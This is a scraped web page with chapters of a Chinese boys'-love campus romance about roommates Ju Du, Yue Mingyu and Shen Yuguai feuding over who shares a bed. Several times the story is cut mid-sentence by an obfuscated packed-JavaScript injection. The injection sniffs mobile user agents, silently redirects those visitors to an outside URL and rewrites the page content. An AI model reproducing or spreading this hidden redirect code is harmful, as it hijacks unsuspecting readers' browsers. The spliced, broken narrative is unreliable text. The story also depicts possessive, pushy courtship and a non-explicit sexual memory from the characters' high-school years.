;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883463|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都让自己听不了多久就开始犯困。 又不能直接大剌剌地趴着睡觉,即使颜斐章不管这些,居渡也还是莫名对这个男人产生敬畏和抵触的心理。 整天笑眯眯的人最可怕了。 旁边的越鸣玉看着居渡的脑袋一点一点的,犯困又强撑着的样子让人看得心口酸涩。他轻轻碰了碰居渡,完全忘记了自己上节课还在独自生闷气。 “你想睡就睡。”越鸣玉声音沉着,听不出一点侵略感和攻击性。 被这么轻碰了一下居渡却有些清醒了,他轻轻摇了摇头,眼神还是带着些茫然。“不用了,还有几分钟下课?” 越鸣玉看了看表。“十分钟。” 下午的课满课的话一般只有两大节,一节大课九十分钟,分为两节小课,两节小课中间有十分钟休息时间。 过得还挺快的,居渡很满意剩下的时长不多。接着他坐起身来,强撑着再看了一会儿颜斐章讲的东西。 下课铃响了,居渡实在是困得不行,他迷迷糊糊地指着放在桌上的那个用过的冰贴,指使着脾气又暴又坏一看就不是什么好惹的人的越鸣玉。 “帮我扔一下,我先眯一会儿。”居渡的声音越来越小,他真的太困了。 闻言,越鸣玉看了看趴着的居渡,然后一声不吭无比听话地去门口帮居渡扔垃圾。 由于颜斐章收拾了一下资料和用具,所以走得比较迟。越鸣玉大步走到走廊上的垃圾桶前刚扔完垃圾,一回头就看见了笑眯眯的颜斐章。 越鸣玉面无表情地从颜斐章身边走过去,把这个男人无视了个彻彻底底。 眯眯眼笑着的颜斐章没有一点生气的样子,只是在越鸣玉经过他的时候用只有两人能听到的声音说了一句。 “他确实是很不错的。” 说完之后颜斐章满脸笑意,抱着资料和用具就走了。 越鸣玉的脚步猛地停了下来,他转过身狠盯着颜斐章的背影。一双眼里阴沉沉的,任谁看见都得被吓一跳。 6. 第6章 越鸣玉回来之后发现居渡已经趴在桌子上睡着了。 他正侧过头来,半张脸被埋在手臂下,露出的眉眼干净柔和,即使是闭着也不难想像得到睁开来是怎样的俊气十足。 本身居渡的五官就生得清俊,头发和眼睛都漆黑如墨,眉眼弯弯的笑起来让人感觉很舒服,不由自主地想要亲近着他。 不像越鸣玉,五官生得俊朗深邃,一瞪起人来显得又凶又俊,旁人大多会选择远离他,更多地是不敢靠近。 越鸣玉也不知道自己现在是抱着个什么想法,坐在居渡身边不吵不闹,只安安静静地注视着他的睡颜。心跳的速度逐渐加快,喉咙发干,身体里有一种很奇怪的感觉,他却一点都不排斥。 虽然有种动物般敏锐的直觉告诉他要早早远离这种感觉,但他似乎连挣扎都不想挣扎地就想要沉溺进去。 第二节课是越鸣玉的选修课,刚好教室都不用换,居渡完全可以回去接着补觉。不过越鸣玉出于私心没去叫醒居渡,也可能是看居渡睡得沉不想打扰。 他想待在居渡的身边,光是对方的存在就足以让他无法自拔。 居渡是在一声声精神十足的讲课声中醒来的。他有些迷蒙地睁着眼,脸颊因为睡觉的姿势而被压出一些浅淡的印痕。 一时间还没反应过来,居渡有些不明所以地望望四周,讲台上的老教授正激情澎湃地讲着课,独留居渡一人一脸茫然。 见居渡醒来,越鸣玉便将注意力全放在居渡身上,刚睡醒的居渡看起来又乖又让人心痒。他暗自按捺住心中那股奇怪的冲动。 居渡的声音还带着浓重的睡意,他轻声问越鸣玉:“这不是你的课吗,你没叫醒我?” 虽然不是责怪的语气,但越鸣玉还是不自在地抿了抿唇。 “快结束了。你也是,一天天的怎么搞得这么累。”越鸣玉瞥了瞥时间,尽量让自己的声音放平缓来安抚居渡。 居渡没接话,打了个哈欠,拿出手机看了看消息。点开微信一看,沈予归居然罕见地给自己发了消息。 居渡喔了一声,有些好奇地点开了。 【居渡,我今晚会回来睡。】 【嗯······记得帮我留下门,谢谢。】 越鸣玉注意到居渡低着头看手机,他没忍住就瞄了一眼,看到备注沈予归那三个字后,五官立刻就扭曲了。 当下心思也不放在课堂上了,或者说本来心思就没在课上。越鸣玉的坐姿还是很不羁随意,眼神却明目张胆地往居渡手机上偷看着。 他当然知道这是不对的,却还是忍不住想知道他们两人在聊些什么。 居渡只是正常地回了一句。【好嘞!】 发完消息后居渡突然感觉有些不太对劲,眼睛抬起来往越鸣玉那边看了一下。然而越鸣玉依旧目视前方,似乎什么都不好奇的样子。 只是感觉一张脸绷着似乎在生闷气。 居渡摇了摇头,刚刚那道要杀人的视线绝对是自己的错觉吧。 没过多久这节课也结束了,已是黄昏。下课铃响起的时候居渡看了一眼外面的天空。 九月份傍晚的空气里依然满是闷热的气息,天气很好,天边悬挂着大片大片的火烧云,美得不像话。微风拂过,林道两边是三三两两的学生。 居渡收拾了一下背包,他带的东西少,三两下就塞进去收拾好了。越鸣玉站起来伸手想把居渡的包背着,没想到居渡躲了一下。 大魔王时常生出的好意有时候会让他感到不自在,有时候又习惯了一般对此毫无察觉。 被居渡拒绝了的越鸣玉明显更郁闷了。他本来就因为颜斐章那头不怀好意的老狐狸而脸色难看,何况刚刚还看见居渡和沈予归的对话。 毕竟居渡很少主动给自己发消息,回消息也是在他越来越爆炸的连环轰炸下才会回个一两句。越鸣玉万万没想到自己有一天居然会受到这种小事的影响变得情绪低落。 出了教学楼,居渡和越鸣玉走在夕阳下的林间小道上,两旁种的是枫树,此时正是深绿。晚上也没课,居渡准备去食堂吃完饭就回宿舍享受晚间时光。 越鸣玉的五官凶悍俊朗,线条深刻。面上没什么表情,可能是心情不怎么样的原因,眼神显得有些凶狠。 居渡当然不知道越鸣玉究竟在想什么,他并不在意,比起大魔王他还是觉得食堂里的饭菜比较能够吸引他的注意力。 这么想着的居渡拿出手机点了几下,想看看便签里之前记录的一些食物,再考虑今天晚上吃什么。 居渡低着头走路,因为越鸣玉在外围护着所以他就没怎么注意路况。谁知道迎面骑来一辆自行车,骑得七扭八歪的不说,车头方向还直直撞向低头玩手机的居渡。 自行车上坐着一个女生,显然很不熟练的样子,方向失控的那一瞬间她尖叫大喊:“同学!同学让开——” 原本在看着居渡的越鸣玉听到那道声响瞬间心抖了一下,急忙把刚抬起头的居渡往自己身边拉,居渡“噗——”地一下撞在越鸣玉怀里。 紧接着“砰——”地一声,自行车撞向了一旁花坛的边缘,发出了很大的刺耳声响。那个女生也以一种凄惨的姿势倒在地上。 居渡眨眨眼,他手上还抓着亮着的手机。口鼻处满是越鸣玉身上清新的橙子洗衣液的味道。 等到危险解除,越鸣玉就极快地放开居渡,连忙确认了居渡身上有没有什么伤。 确认完居渡没什么大碍后这才怒气冲冲地走到那女生面前,那女生痛得龇牙咧嘴地站起来,第一眼看到的就是越鸣玉满含怒气十分凶狠的面容。 “你是瞎了吗?!不会骑车出来丢什么人,差点撞着人了知道不知道!”越鸣玉说的话极其不客气,言语中带着刺骨的寒意。 那女生也是被越鸣玉吼懵了,有些惧怕地往后退了退。 此时的越鸣玉完全就是尊凶面罗刹,谁惹他谁倒霉。也不怪越鸣玉生这么大气,要是真把居渡撞着碰着他指不定还能干出什么事来。 居渡看那女孩子都快要哭了的样子,又看了看越鸣玉一副不给个结果就揍人的暴怒表情。四周已经有学生注意到了这里的情况。 居渡走到越鸣玉面前,拉了拉他胳膊。“好了,我饿了。我们去吃饭吧。” 又转头对那女生说:“下次骑车记得注意点,你那车子好像有问题,去修修会比较好。” 居渡也不是没脾气的人,但越鸣玉搞得跟差点撞到的人是他似的,自己再有什么脾气也发不出来了。 虽然他低头玩手机没怎么注意路,但他依然标标准准地走在道路里侧,越鸣玉走在他外侧,再怎么也没妨碍到别人。 越鸣玉皱了皱眉,收回了瞪人的视线,没再说些什么。 居渡拉着越鸣玉走向食堂,这次他学乖把手机收起来了,又想了一下和越鸣玉说了句:“别生气了,我没事。对了,沈予归今晚回来住,别把门锁了。” 越鸣玉一脸不开心,语气听起来也有些冲。“他真要在宿舍住?” 居渡表示自己不清楚,他当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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又低头看了看越鸣玉的麻辣香锅,菜色什么的都一样,自己这锅的颜色明显要比越鸣玉那锅的颜色深很多。 越鸣玉紧紧闭着嘴巴,努力想装出一副不在乎的样子,可是面上的扭曲神情明显暴露了他。 越鸣玉:&*%#*这什么玩意儿辣死了!不行,居渡在看我,我得忍住。 居渡用奇怪的眼神看了一眼越鸣玉,夹起他碗里的火腿肠尝了一口,嗯好吃,一点都不辣嘛。 以为是越鸣玉吃到了什么奇奇怪怪的东西,居渡便没再理睬他,低头自顾自地吃起了自己的饭。 等越鸣玉好不容易咽下口中的食物,他感觉自己的喉咙和口腔的皮肤都在灼烧,胃里也热热的,汗水一下子就分泌出来。 看着对面的居渡吃得这么开心,越鸣玉只好不扫兴地自己一个人默默忍住。 他决定以后再也不要点微辣了,不,直接把麻辣香锅划入黑名单。他瞥了一眼居渡碗中红红的菜品,莫名有些畏惧,身体罕见地一哆嗦。 吃完饭的居渡满足地用纸巾擦擦嘴,接着看向越鸣玉面前几乎没怎么动的菜品。 “越鸣玉,浪费食物是不好的行为。”吃饱喝足的居渡懒洋洋地教训着大魔王。 大魔王气急败坏地低声喊了一声:“要你管!“ 然后又接了一句:“吃好就赶紧回去吧,这里热得要命。” 食堂里是装有空调的,居渡心满意足地吃完一顿饭也感觉不到热意。对于越鸣玉凶巴巴的话语他当然只能无奈地摊摊手。 最后越鸣玉去倒了杯水,涮着那些菜勉强将其吃了个干净,就这样都被辣得不停喝水。 居渡则是在一旁边玩手机边等他,想着从刚刚发生的事情上来看,越鸣玉和之前相比已经进步很多了,至少学会克制住自己的脾气没有第一时间对别人动手。 真是可喜可贺,可喜可贺。居渡不免感慨了一下。 7. 第7章 回到宿舍居渡洗完澡就上床准备休息,越鸣玉则是在居渡从卫生间出来之后进去冲了个澡。 过了一会儿越鸣玉围着条浴巾出来了,短发有些湿,更衬得那张脸俊朗锋利。上半身的肌肉柔韧结实恰到好处,蜜色的身躯充满爆发力。身上未擦干的水珠顺着胸膛滑入浴巾里,性感得将人一击毙命。 越鸣玉出来后第一眼就瞄向居渡,想看看他在做什么。然而居渡一心扑在手机上,对外界事物熟视无睹。 光是看着居渡,越鸣玉就觉得心焦气躁。他恶狠狠地盯着瘫在床上乐得自在玩手机的居渡,然后一边拿毛巾歪着头擦着头发一边向居渡靠近,眼神露骨又直接。 床上的居渡敏锐地感知到了即将被压迫的气息,犹如被惊吓到的兔子一般迅速坐起来并躲进了床铺靠墙的里侧。 “你干嘛,别过来,我不要和你睡觉。”居渡拿着手机满脸警惕地看向越鸣玉。 被大魔王统治的日子还历历在目,居渡每次想到那无数个威逼利诱和越鸣玉一起睡觉的夜晚就后背发麻。 越鸣玉皱着眉头,五官俊戾凶悍,眼神越发可怖。他头发半干,离得近些还能闻到身上那股清新的柠檬沐浴露的味道。 越鸣玉一声不响地坐在居渡床边,他擦着头发的时候目光锐利,双眼死死盯着居渡,隐约有一种大型动物捕捉猎物时的危险意味。 被这么直勾勾盯着看的居渡感觉自己的脑子都快炸了,越鸣玉一这样凑过来他就知道肯定没什么好事。 “我今晚要和你睡。”越鸣玉眯了眯眼睛,表情很凶,语气霸道而不容置喙。 “不行。”居渡的脸上写满了抗拒,他知道果然如此。要不是之前被统治的回忆重现了,他现在一定果断逃跑。 也不是说和男生睡有多令人难以接受,只是越鸣玉睡觉有个怪癖,让居渡都产生心理阴影了。 上大学以后越鸣玉倒是很少提出和居渡一起睡觉,不是越鸣玉不想,而是居渡根本不同意。每次一稍微提到这件事居渡就立刻躲得远远的,并满眼戒备好像浑身上下的每个细胞都在抗拒似的。 见越鸣玉堵在这儿,居渡便伸手推了推。越鸣玉身上的水珠还没擦干,一碰触到那结实的手臂就能立刻感受到他肌肤上传来的湿意和热度。 柔韧紧实的蜜色肌肉底下蕴藏着力量,这时候的越鸣玉简直是个行走着的荷尔蒙爆发器。 “我不要和你睡。你烦不烦,自己上去睡。”居渡收回手,挣扎着说了两句,他一定要誓死捍卫自己一个人睡觉的权利。 越鸣玉也不说话,就用那双大型凶猛动物才会有的眼睛盯着居渡,瞳孔里像是藏着一些暗光。 看居渡怎么都不同意,越鸣玉将擦头发的毛巾放在一旁,接着压低身体缓慢凑近床里面的居渡。上半身缓缓低下,结实胸膛被蒙上了一层阴影。 这让居渡更清楚地闻到了那股清新的柠檬香气,也感受到了逐渐逼近的危险。 眼看着越鸣玉继续贴近自己,居渡在心里默默计算着距离。想着如果越鸣玉再近一些,他绝对拼了命也要揍一顿对方。 “吱——”这时响起了寝室门被推开的声音。 门外的沈予归瞪大了眼睛和一脸无辜的居渡对上视线。 沈予归站在门外,手上拿着几本书,黑发略微有些凌乱。俊美的脸上满是震惊,一点都没有平日里的遇事漠然,甚至神情间还带着些不易察觉的慌乱。 他愣了三秒之后默默地走进来并关上了门。 越鸣玉看到沈予归进来便停下了动作,他明显有些不满。伸向居渡的手放了下来,转而拿起自己擦头发的毛巾进了浴室。 “我去换衣服。”越鸣玉离开之前还非常有暗示性地看了一眼居渡。 沈予归进来后也没说些什么,空气里弥漫着沉默和尴尬。 居渡默默地再次躺回床上,给了沈予归一个“我什么都不知道我是被强迫的”眼神。 虽然沈予归脸上的表情恢复到了平日里的波澜不惊,但走向床铺的脚步明显很不自然。他接收到了居渡的眼神,抿了抿唇,墨黑的眼睛看向居渡,不知道在想些什么。 居渡却很快就收回视线,窝在床上继续看着手机。 他本以为越鸣玉闹过一次就算了,没想到大魔王一点都不知道善罢甘休是什么意思,反而越挫越勇,换上睡觉穿的短袖短裤就又跑到自己面前刷存在感。 居渡被骚扰得有些生气了,越鸣玉这说一不二的霸道性格也不知道什么时候才能收敛。 一想到这里居渡就头疼得不行,他有时候真的不太擅长找出面对这种事的解决方法。从小到大越鸣玉都是这样,脾气暴,说话难听,两句话合不来就上去揍人。 记得有次打架打得最狠,越鸣玉直接把对方的手臂给折了,那人浑身上下都是伤。当时越鸣玉身上充满了戾气,犹如一头被毁了重要巢穴而暴怒的狮子。 居渡之所以记得这么清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883465|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚还是因为这事和他有关。 对方是他们市高中出了名的混混,专门欺负压榨本校学生。那混混的爸爸还和学校高层有些关系,被欺负了的学生是敢怒不敢言。 那会儿乖乖巧巧安安静静的居渡也不知道是什么原因被那混混给盯上了,但一般越鸣玉放学后都会跟着居渡一起回家,所以那家伙也蹲不到单独出行的居渡。 等那混混找到时机带人堵住居渡时,又很不巧地被出来帮他妈买酱油的越鸣玉撞见了。 那时越鸣玉迅速冲过来一个酱油瓶直接狠力砸那混混头上,他站在居渡面前,眼里满是凶狠的寒意。 接下来越鸣玉就跟不要命似的揍人,面色发狠得厉害。居渡在一旁根本拦不住,最后也上去帮忙了。 那是越鸣玉打架打得最狠的一次,招招往死里揍。在那些家伙都躺在地上痛苦呻吟的时候,越鸣玉顶着张沾了血的俊脸走向居渡,他看着居渡很认真地说:“下次不能再离开我了。” 然后他挠了挠后颈,低头看着流了一地的酱油和玻璃碎渣又苦恼起来。“完了,又要被老妈骂了。” 居渡却扑哧一下笑出了声。“走吧,我陪你再去买一瓶。” 其实那会儿居渡对他和越鸣玉之间的关系还有些困惑,这家伙对谁都没个好脸色又总是跟在自己身边,谁都不敢触他的霉头。 想着越鸣玉虽然是和自己从小一起长大,但这家伙根本没必要整天都黏在他的身旁。 不过自从那件事发生之后,居渡心里的不满想法就逐渐消失不见,最后也默许了越鸣玉可以凶巴巴地待在他的身边。 见居渡死活不松口,越鸣玉便决定先斩后奏。他站起身来,左手摸到自己床边放着的充电器,随着动作露出来的腰线性感又利落。 看着这一切的居渡隐隐察觉到大魔王下一句话是什么了。 “往里让一让,我今晚和你一起睡。”越鸣玉拿完充电器说着就要往居渡床上躺。 “你别闹了行不行,都这么大了还一起睡觉奇怪不奇怪。”居渡躲了一下越鸣玉的动作。越鸣玉不回话,手上动作没停,像是不睡到居渡的床就誓不罢休似的。 正在这时,越鸣玉往居渡床上放充电器的手臂被人突然攥紧,阻拦的意味极为强烈。那个人的手指白皙修长,骨节分明。 “他说他不想和你睡。”沈予归的声音里含着些不易察觉的怒气。他站在越鸣玉的身侧,眼睛漆黑如墨,神色异常冰冷。 8. 第8章 越鸣玉当下脸就黑了,他猛地甩开沈予归的手,从牙缝里挤出来的每个字都带着寒意。“你算个什么东西?” 本来越鸣玉就因为居渡对他明显躲避的态度而焦躁不安,这个混蛋又凑在居渡面前多管闲事。真是烦得要命,为什么所有人都要掺和进来。 而且别以为他不知道这家伙对居渡抱有什么心思,虽然不是直接表达出来的明晃晃的爱慕,但那眼神里的情感绝对不会比前者少上一点。 “你没看见他不愿意吗?”沈予归也上来一些怒气,眼神冰冷凌冽,整个人气势上丝毫不弱于越鸣玉。 四周的空气瞬间凝结起来。 一旁的居渡都没反应过来怎么突然变成了这种剑拔弩张的气氛,不过他多少能感觉到这场争端是因自己而起。 “够了,越鸣玉!”居渡提高声音制止了下。 越鸣玉立刻转头看向居渡,面上神色还带着凶狠,眼睛里的戾气让任何人都会不自觉地发怵。但是视线在一接触到居渡后就瞬间软化下来,甚至隐约带着些伤心的意思。 居渡被越鸣玉的这个表情弄得莫名其妙,对于这家伙今晚这么闹腾他确实十分不解。“你能不能别再这样了。不好意思沈予归,他从小就是这样和别人相处,别太介意。” 沈予归抿着唇,拿那双墨一般的眼睛盯着居渡,让人看不出他在想些什么。 虽然沈予归什么都没说,但态度似乎已经缓和许多。与其说他还在生气,倒不如用受伤来形容还更贴切。总之居渡并不是很理解沈予归目光里的意思。 听到居渡这样说了之后,沈予归垂在身侧的手掌紧攥起来,他看了看居渡,最后不发一言地离开这里去了卫生间。 见送走一尊大佛的居渡悄悄松了口气,接下来面对的就是更头疼的事了。 目视着这一切的越鸣玉一个前倾,瞬间将居渡笼罩在自己身体的阴影下。从越鸣玉身上传来的沐浴露香气几乎剥夺了居渡原本的空气。 看到越鸣玉那张放大的俊脸突然出现在自己面前,居渡吓了一跳。 越鸣玉微微眯着眼睛,神色危险凶狠。声音低沉有力,暗藏不悦。“你喜欢那小子?” 似乎要是从居渡嘴里蹦出来一个“是”字,越鸣玉今晚就不让居渡好过。 居渡:······ 居渡无语得都不知道怎么回答越鸣玉这种没头没脑的问题,他瞪了越鸣玉一眼。 “你脑子坏了吧。” “只能今天挤一晚啊,你要对我动手动脚我就把你给踢下去。”他警告着正处于爆发边缘的大魔王。 随后居渡又想了想之前的情景,认真补上了一句:“也不许逼我对你动手动脚。” 听到这些话的越鸣玉反而像是突然被顺了毛的大型猛兽一样,变得安分许多。他顺势低头把自己的脸埋在居渡的肩窝处,好像在亲近自己的饲主一般,温热的鼻息直接触碰到了居渡的肌肤。 被这样对待的居渡立刻不适应地躲开了,他才不要接受这种腻歪举动。虽然不知道这家伙在想些什么,但居渡也不在意,他推了推越鸣玉,示意对方不要继续闹了赶紧上床。 等沈予归从卫生间出来的时候就看见居渡的床上已经躺了一个正在示威的家伙。越鸣玉斜了一眼沈予归,挑衅似的笑了一下。 沈予归的头发还没有完全擦干,湿漉漉的。他看都没看越鸣玉,直接将目光放到床铺里侧那个已经把自身送入虎口还不自知的人身上。 居渡正趴着看手机,床铺不大,越鸣玉又人高马大的,两人一起睡宿舍这种标准床肯定会觉得挤。不过越鸣玉已经尽量让身体往外挪了,所以居渡倒也没有觉得被挤压得很难受。 多多少少感受到了沈予归的视线,他抬头往沈予归那边看过去。看沈予归正拿那双黑黝黝的眼睛盯着自己瞧,居渡只好露出一个笑容。 这让沈予归的耳廓瞬间红透了,他看着居渡的笑容似乎有些不知所措,随后掩饰般地拿了毛巾开始擦头发。 越鸣玉在一旁看得又是莫名火起,这两人当自己不存在吗居然在他面前眉目传情! 想要发火的越鸣玉转念一想居渡看到他乱发脾气肯定又要生气,哄不好才是最要命的。想了想就拼命压下了心中的躁动,反正现在和居渡睡在一起的人是他。 他一个转身将手臂轻搭在居渡的腰上。居渡正专心看着动漫,被越鸣玉的动作吓了一跳。“你又要干什么?” “抱一下又怎么了。”越鸣玉沉声道。 不知道今天越鸣玉到底是受了什么刺激,他是越来越看不懂越鸣玉意欲何为了。以往越鸣玉是亲近自己没错,可是一向不会做得太出格。 不管怎么想,自己还是最受不了越鸣玉这样黏着自己,整个身体都紧紧贴了过来。居渡没心思看手机了,他把界面退出后将手机递给外侧的越鸣玉,示意他帮自己手机充上电。 然后拉了一下被踢到床尾的薄被,盖在身上准备睡觉。 “行了别贴着我,睡觉吧。”居渡还用手抵了抵越鸣玉的身体,他之所以这么不愿意和越鸣玉同睡一床那也是有原因的。 高中时代,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883466|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是青春懵懂时期。 居渡和越鸣玉毕竟是从小就认识,去对方家里玩或者一起睡觉对他们来说都是家常便饭。小时候都是孩子便没什么,但在年龄增长之后就难免会有一些生理方面的尴尬。 还记得那是高一的一个周六晚上,越鸣玉去他家玩,晚上照例两人一起睡觉。都是男生挤一张床睡觉很正常,何况那时候年纪不大当然不会想其他的事。 半夜,居渡被一道努力压抑的喘息声吵醒。 居渡背对着越鸣玉,听着声音确实是从越鸣玉那边响起的。他一开始还没反应过来越鸣玉在做什么,结果越听是越不对劲。 即使声音被刻意压低,那些暧昧的动静也还是止不住地流露出来。 听清楚之后居渡整个人都僵住了。他自己来兴致的时候也会疏解一下,但他从来没想过会在自己身边发生这种事情,要知道他们两人现在转个身就是脸对脸。 这个和他一起长大的儿时玩伴,又总是一脸凶恶黏在自己身边的人,正在他的房间他的床上做这种事。居渡是动都不敢动,他的脑子一片空白根本不知道该怎么面对这种意料之外的事情。 而越鸣玉这边的呼吸声越来越急促粗重,释放过后还没有平复下来,气息依然异常混乱。 等到越鸣玉轻手轻脚地下床去清理的时候居渡才敢放松身体。他紧紧闭着眼安慰自己谁都是会有欲望的时候,不该抱有偏见。 不过居渡的心灵还是受到了不小的冲击,他是真的没想到越鸣玉会在自己身旁做这种事。 等越鸣玉从卫生间回来时,居渡继续装睡。 越鸣玉的脸上带着一些发泄过后的倦怠,他看了一眼侧躺着安然睡觉的居渡,接着慢慢上了床然后小心地抱住居渡的腰。从背后把脸埋在居渡的后颈处,就这样闻着居渡身上的气息入睡了。 根本没有睡着的居渡被越鸣玉搂腰那一下吓得差点叫了出来。 第二天越鸣玉跟个没事人似的,看到居渡脸上两个大大的黑眼圈还担心地皱紧眉头。“你昨晚没睡?等下要不要再眯一会儿。” 居渡表示什么事都没有,他哪里敢说自己听到了什么,真说出来的话肯定会被恼羞成怒的大魔王毁尸灭迹。 这件事其实只是个小插曲,重点是越鸣玉上高二那年身体已经发育得非常好了。宽肩窄腰,结实强健,身上该缺的那是一点都不缺,直叫周围一众正在发育的男生眼红嫉妒。 随之而来也有一个问题,越鸣玉更爱黏着居渡一起睡觉了,而且那些大胆的行为甚至已经延伸到居渡身上。 9. 第9章 那是高二的一个周五晚上,放学后两人先各自回了家,越鸣玉简单收拾了一下就直奔居渡家去。 “给,我从便利店买的。”越鸣玉进了卧室走近后拍了拍居渡的肩膀,想把手中的冰棒递给他。 “噢,谢了。”居渡手上动作没停,依然低头打着游戏。越鸣玉看盘着腿坐在床上玩游戏的居渡,莫名心里有些痒痒的,他凑近坐在居渡旁边问他在玩什么。 居渡一心专注游戏,回答得就有些敷衍。“不就是最近大家都在玩的那个嘛,其实还挺好玩的。” 这反应让越鸣玉皱了皱眉,从他进门开始居渡就没抬眼看过他。 但也不好在居渡打游戏的时候打扰他,越鸣玉压下心中的不满。他看了一眼被自己拿在手里包装完好的冰棒,在炎热的夏季里即使屋内有空调也很快会融化掉。 越鸣玉想了想,他把那根冰棒的包装袋撕开,然后伸手递给居渡。居渡的眼睛还黏在游戏机的屏幕上,余光瞥见冰棒出现在自己面前就下意识地咬了一口。 是自己最喜欢的牛奶味冰棒,冰冰凉凉的很好吃。 随后居渡的游戏到了关键时刻,他专心致志看着屏幕,连冰棒都没空吃了。 越鸣玉看着他手中被居渡咬了一大口的冰棒愣了一会儿,暗自抿了抿唇。 他看居渡还沉迷游戏无法自拔,似乎也没有要继续吃冰棒的样子。内心纠结了一会儿还是把居渡咬过的冰棒放进了自己的嘴里。 他不太喜欢牛奶味的东西,但是尝过之后意外地感觉还不错。明明房间里的温度不算高,越鸣玉却觉得心口的地方异常滚烫,好像连带着他的身体温度也开始升高。 “耶!赢了。”居渡赢了一局之后把游戏机扔到一边,他这时想起了冰棒的存在。四处看了看,发现冰棒早已不见了踪影。 “你给我带的冰棒呢?”居渡一脸疑惑。 “都快化了我就先吃了。”越鸣玉这么说着,眼睛却没和居渡对视,似乎很是心虚地避开了视线。 听到越鸣玉这样说,居渡点了点头没在意。反正谁吃都一样,何况本来就是越鸣玉买的。 不过越鸣玉也不知道是不是因为心神不宁,居渡什么都还没说,他就掩饰自己异常的情绪一般急忙开口:“一根冰棒而已,我下次再买给你不就行了。” 这时候的越鸣玉五官已经十分俊戾,面部线条明朗又清晰,一双眼睛显得有些凶。平常脸上表情没有太大的变化,对待其他人总是一副爱答不理的态度。 早就习惯了越鸣玉的处事作风,居渡没把他的反应当回事。他随便嗯了两下就转身翻着自己抽屉,顺便问了一句越鸣玉:“你今晚睡这儿不?” 趁居渡背过身去的时候越鸣玉用右手快速地摸了一下自己的耳廓,他总觉得自己的耳朵发烫得厉害。事实上,他的耳朵的确泛红着,配着他那张显得凶戾慑人的脸,倒也不算太糟糕。 “当然一起睡,明天不是周六么。”越鸣玉的眼睛跟着居渡打转,他才不会拒绝这种好事。 “好。”居渡应了一声。他从抽屉里翻出游戏机的充电线,把游戏机充上电之后就窝在床上拿手机看视频。越鸣玉则是趁这个时间去卫生间洗了个澡。 很快到了入睡时间,越鸣玉抱着他在这里睡觉的专属枕头爬上居渡的床。居渡挪了挪地方给体格越来越高大结实的越鸣玉,不过那似乎没什么用,越鸣玉体温略高的身体还是碰到了他。 但居渡没有太大的反应,他打了个哈欠,边看着手机边问越鸣玉。“你篮球队那边怎么样了。” “就那样,没什么特别的。下周有场去别的学校的比赛。”越鸣玉拿出手机打开页面简单扫了两眼,随后就将手机扔在一边。 他其实有点无法理解居渡居然能把注意力一直放在上面都不会腻,他看两眼就觉得没意思了。还是居渡比较有趣,他怎么都看不够。 “那你比赛加油。话说你身材是不是越来越好了,是因为一直在打篮球吗,个子也比我高。”居渡有一搭没一搭地和越鸣玉说着话,他最近明显感觉卧室的床都快不够他们两人睡了。 小时候居渡和越鸣玉的差别倒是看不太出来,两个人都是软软小小的包子脸。顶多是越鸣玉脸上的表情比较凶而已,除此之外,两人的体格并没有太大的差距。 但是越鸣玉自上高中以来不知是什么原因,身高一路飙增,身材也越来越结实精悍,在篮球场上帅气投篮的身影招来了不少人的注意力。 他本人倒是对此毫无察觉。有次一个女生好不容易鼓起勇气对越鸣玉告白,当时越鸣玉社团活动刚结束,急着去教室找居渡,眼里根本容不下其他事物。 那个女生当然是被无视了个彻彻底底,整个人直接呆在了原地。 越鸣玉本来就没什么绅士风度,个性凶狠霸道。奈何头脑活络,长相身材又都有吸引力,暗地里不知道拉了多少男生的仇恨。 等越鸣玉急急忙忙跑到教室的时候,教室里就只剩下居渡一个人。 居渡趴在靠窗的课桌上睡着了,柔顺的黑色发丝被夕阳暖黄的余晖温柔地包裹着,脸枕在手臂上,露出的眉眼也被那些暖光勾勒上了一层金色。 教室里没有一点声响,越鸣玉能听见的只有他自己震耳欲聋的心跳声。 他微微弯腰捂住左胸口,那里出现的无比陌生的感觉几乎让他承受不住。心跳声仿佛在他的耳边响起,怎么都止不住。 随后出现的便是胸口处难以承受的剧烈绞痛,就像是有人紧攥着他的心脏一般,可是这样的痛苦带给他的却只有无法言喻的喜悦。 越鸣玉就是在那天傍晚确认自己是真的喜欢居渡,那绝对不是友情。 听到居渡这么说,越鸣玉的视线便在居渡身上来回打着转仔细观察。居渡的身材属于修长匀称类型的,皮肤也偏白,谈不上弱不禁风但的确是没什么肌肉。 越鸣玉又低头看了看自己,和居渡对比起来自己确实过于结实强壮了些。 